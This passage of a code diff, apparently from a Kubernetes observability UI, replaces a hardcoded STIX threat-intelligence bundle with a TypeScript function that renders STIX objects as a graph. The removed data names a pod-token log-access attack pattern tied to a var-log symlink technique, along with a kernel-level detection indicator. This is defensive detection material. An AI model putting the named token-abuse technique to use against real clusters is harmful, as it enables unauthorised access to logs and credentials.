"relationship--76baa894-00c3-4ab8-b43c-d1e1a086f996", - "created": "2025-03-17T18:32:21.039726+00:00Z", - "modified": "2025-03-17T18:32:21.039778+00:00Z", - "relationship_type": "indicates", - "source_ref": "bundle--4d8d8ff1-daa7-4421-b4bd-23de1259202c", - "target_ref": "indicator--kh-ce-var-log-token" - }, - { - "type": "attack-pattern", - "id": "attack-pattern--kh-ce-var-log-token", - "name": "CE_VAR_LOG_TOKEN", - "description": "In order to access the logs, the pods own token must be used" - }, - { - "type": "indicator", - "id": "indicator--kh-ce-var-log-token", - "name": "pod token access", - "description": "pod token used", - "pattern": "[process:extensions.function_name MATCHES 'security_file_permission' ]", - "pattern_type": "stix", - "valid_from": "2024-01-01T00:00:00Z" + private getNodeImgByType(type: string): string { + const snakeType = type.replace(/-/g, '_'); // e.g., "attack-pattern" -> "attack_pattern" + return `https://raw.githubusercontent.com/oasis-open/cti-stix-visualization/refs/heads/master/stix2viz/stix2viz/icons/stix2_${snakeType}_icon_tiny_round_v1.png`; + } + + private renderStix(stixBundle: { objects: Array }): void { + this.nodes.clear(); + this.edges.clear(); + this.clusteredNodes.clear(); + this.clusteredEdges.clear(); + + const nodeSize = 30; // same size for all + const nodeColor = '#003366'; // dark blue + const fontColor = '#ffffff'; // white + + const levelMap = new Map(); + let currentLevel = 0; + + for (const obj of stixBundle.objects) { + if (!obj.id) continue; + + if (!levelMap.has(obj.type)) { + levelMap.set(obj.type, currentLevel++); + } + + const level = levelMap.get(obj.type); + + // 🎯 Node setup + if (obj.type !== 'relationship') { + this.nodes.add({ + id: obj.id, + label: obj.name || obj.type, + title: JSON.stringify(obj, null, 2).replace(/\n/g, "
").replace(/ /g, " "), + shape: 'image', + size: nodeSize, + image: this.getNodeImgByType(obj.type), + color: { + background: nodeColor, + border: '#002244', }, - { - "type": "relationship", - "id": "relationship--kh-ce-var-log-token", - "relationship_type": "indicates", - "source_ref": "indicator--kh-ce-var-log-token", - "target_ref": "attack-pattern--kh-ce-var-log-token" + font: { + color: fontColor, + size: 14, + face: 'monospace', }, - { - "type": "relationship", - "id": "relationship--kh-ce-var-log-token-symlink", - "relationship_type": "indicates", - "source_ref": "attack-pattern--kh-ce-var-log-symlink", - "target_ref": "attack-pattern--kh-ce-var-log-token" - } - ]} - - this.nodes.clear(); - this.edges.clear(); - this.clusteredNodes.clear(); - this.clusteredEdges.clear(); - rawData.objects.forEach((obj) => { - if (obj.type !== 'relationship') { - this.nodes.add({ - id: obj.id, - label: obj.name || obj.type, - title: JSON.stringify(obj, null, 2), - }); - } + level, + }); + } + + if (obj.type === 'relationship' && obj.source_ref && obj.target_ref) { + this.edges.add({ + id: obj.id, + from: obj.source_ref, + to: obj.target_ref, + arrows: 'to', + label: obj.relationship_type, + font: { face: 'monospace', size: 12 }, + color: { color: '#cccccc' }, + title: JSON.stringify(obj, null, 2).replace(/\n/g, "
").replace(/ /g, " "), + }); + } - if (obj.type === 'relationship' && obj.source_ref && obj.target_ref) { + if (obj.type === 'observed-data' && Array.isArray(obj.object_refs)) { + obj.object_refs.forEach((refId) => { this.edges.add({ - id: obj.id, - from: obj.source_ref, - to: obj.target_ref, - label: obj.relationship_type, - title: JSON.stringify(obj, null, 2), + from: obj.id, + to: refId, + arrows: 'to', + label: 'refers-to', + font: { face: 'monospace', size: 12 }, + color: { color: '#aaaaaa' }, + title: `Observed-data refers-to ${refId}`, }); - } - if (obj.type === 'observed-data' && Array.isArray(obj.object_refs)) { - obj.object_refs.forEach((refId) => { - this.edges.add({ - from: obj.id, - to: refId, - label: 'refers-to', - title: `Observed-data refers-to ${refId}`, - }); - }); - } - }); + }); + } + } } } diff --git a/src/ui/src/containers/live-widgets/graph/request-graph.tsx b/src/ui/src/containers/live-widgets/graph/request-graph.tsx index 655eede1f2f..d620f5fe542 100644 --- a/src/ui/src/containers/live-widgets/graph/request-graph.tsx +++ b/src/ui/src/containers/live-widgets/graph/request-graph.tsx @@ -71,8 +71,8 @@ export const RequestGraphWidget = React.memo(({ const [network, setNetwork] = React.useState(null); const [graphMgr, setGraphMgr] = React.useState(null); - const [clusteredMode, setClusteredMode] = React.useState(true); - const [hierarchyEnabled, setHierarchyEnabled] = React.useState(false); + const [clusteredMode, setClusteredMode] = React.useState(false); + const [hierarchyEnabled, setHierarchyEnabled] = React.useState(true); const [colorByLatency, setColorByLatency] = React.useState(false); const theme = useTheme();